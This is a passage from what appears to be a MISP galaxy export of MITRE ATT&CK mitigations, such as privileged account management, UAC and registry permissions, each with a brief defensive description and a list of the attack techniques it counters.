http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1023
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"*

View relationships graph

User Execution Mitigation - T1204 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 4748. Table References

Links
https://attack.mitre.org/mitigations/T1204

Restrict Registry Permissions - M1024

Restrict the ability to modify certain hives or keys in the Windows Registry.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"*

View relationships graph

Restrict Registry Permissions - M1024 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 4749. Table References

Links
https://attack.mitre.org/mitigations/M1024

User Account Control - M1052

Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.

The tag is: *misp-galaxy:mitre-course-of-action="User Account Control - M1052"*

View relationships graph

User Account Control - M1052 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with

estimative-language:likelihood-probability="almost-certain"

* mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 4750. Table References

Links
https://attack.mitre.org/mitigations/M1052

Privileged Process Integrity - M1025

Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.

The tag is: *misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"*

View relationships graph

Privileged Process Integrity - M1025 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 4751. Table References

Links
https://attack.mitre.org/mitigations/M1025

Port Knocking Mitigation - T1205

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: *misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"*

View relationships graph

Port Knocking Mitigation - T1205 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"

Table 4752. Table References

Links
https://attack.mitre.org/mitigations/T1205

Privileged Account Management - M1026

Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.

The tag is: *misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"*

View relationships graph

Privileged Account Management - M1026 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"

with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Portal Capture - T1056.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 4753. Table References

Links
https://attack.mitre.org/mitigations/M1026

Multiband Communication Mitigation - T1026

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation - T1026"*

View relationships graph

Multiband Communication Mitigation - T1026 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"

Table 4754. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1026

Sudo Caching Mitigation - T1206

Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Caching Mitigation - T1206"*

View relationships graph

Sudo Caching Mitigation - T1206 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"

Table 4755. Table References

Links
https://attack.mitre.org/mitigations/T1206

Operating System Configuration - M1028

Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Operating System Configuration - M1028"*

View relationships graph

Operating System Configuration - M1028 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
